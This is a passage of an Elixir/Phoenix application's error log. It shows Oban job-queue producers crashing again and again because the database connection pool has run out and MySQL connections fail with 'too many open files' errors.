  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:28:48.247480Z], limit: 50, uuid: "4c2ea71f-8b96-45fb-9619-be22b843cd6c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:28:48.247485Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.250515>, refresh_timer: #Reference<0.2525715032.1077411843.250502>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:29:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 849ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:28:48.240903Z], limit: 5, uuid: "813e897c-03e3-42f5-aba9-bcb21542fd89", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:28:48.240911Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.250516>, refresh_timer: #Reference<0.2525715032.1099431938.18060>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:29:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1038ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:28:48.246792Z], limit: 20, uuid: "f1b172b5-e9ea-4f6e-8f61-7e32bd04d511", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:28:48.246798Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.8377>, refresh_timer: #Reference<0.2525715032.1068498948.8371>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:29:00.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 885ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:28:48.245579Z], limit: 10, uuid: "b6607946-a169-4f30-8cae-38d2c603ed6a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:28:48.245585Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.8378>, refresh_timer: #Reference<0.2525715032.1068498948.8349>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:29:01.933000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:29:01.982000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:29:02.047000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:29:04.239000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:29:04.841000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:29:07.442000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:29:09.719000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:29:10.732000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:29:12.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1035ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:29:00.244643Z], limit: 10, uuid: "9daf84ec-58de-49b5-8de5-8144cab8db71", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:29:00.244648Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.8572>, refresh_timer: #Reference<0.2525715032.1099431938.18291>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:29:12.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1051ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:29:00.241720Z], limit: 5, uuid: "f7c174da-0337-475c-abbc-fa9f946098d7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:29:00.241725Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.8534>, refresh_timer: #Reference<0.2525715032.1099431938.18264>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:29:12.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 818ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:29:00.241446Z], limit: 50, uuid: "ca3ac863-e90a-4ee8-b243-05ad32380315", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:29:00.241451Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.8535>, refresh_timer: #Reference<0.2525715032.1099431938.18250>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:29:12.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1092ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:29:00.239913Z], limit: 3, uuid: "324a49bb-93b1-493c-a99d-7e774f13b608", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:29:00.239919Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.8536>, refresh_timer: #Reference<0.2525715032.1099431938.18254>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:29:12.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 873ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
